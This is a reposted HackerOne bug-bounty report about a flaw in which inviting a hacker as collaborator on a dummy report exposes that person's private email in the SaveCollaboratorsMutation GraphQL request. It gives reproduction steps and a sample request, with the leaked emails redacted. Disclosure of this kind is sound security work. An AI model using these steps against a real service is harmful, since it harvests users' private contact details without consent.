Site icon API Security Blog

HackerOne: An attacker can can view any hacker email via /SaveCollaboratorsMutation operation name

**Summary:**

An attacker can view any attacker or normal user email after send invitation via dummy report , disclose their private email.

**Description:**

### Steps To Reproduce

1 – Create a dummy report and send it
2 – Add a hacker that you want to disclose his email , Max is only 2 invites per report
3 – send the invite after sending the invite the hacker will be pending status until accept the report .
4- Go the pen on the right for adding more collaborator and click on the pen and capture traffic , you will see the user email in first request,
even that the user not accept the invitation yet

HTTP Request :
“`
POST /graphql HTTP/2
Host: hackerone.com

[sinp]

{“operationName”:”SaveCollaboratorsMutation”,”variables”:{“input”:{“report_id”:2032701,”collaborators”:[{“username_or_email”:”testmealways”,”bounty_weight”:0.9989999999999999},{“username_or_email”:”███████”,”bounty_weight”:0.9989999999999999},{“username_or_email”:”███████”,”bounty_weight”:0.9989999999999999}]},”product_area”:”collaboration”,”product_feature”:”save_collaborators”},”query”:”mutation SaveCollaboratorsMutation($input: SaveCollaboratorsMutationInput!) {n saveCollaborators(input: $input) {n was_successfuln errors {n edges {n node {n messagen __typenamen }n __typenamen }n __typenamen }n __typenamen }n}n”}

““

Example :

Here is email for todayisnew , Hacker 1 rank in H1 :

“`
████████

“`

Video PoC :

████████

## Impact

An attacker can view any user’s email registered with Hackerone as hacker .Read More

Exit mobile version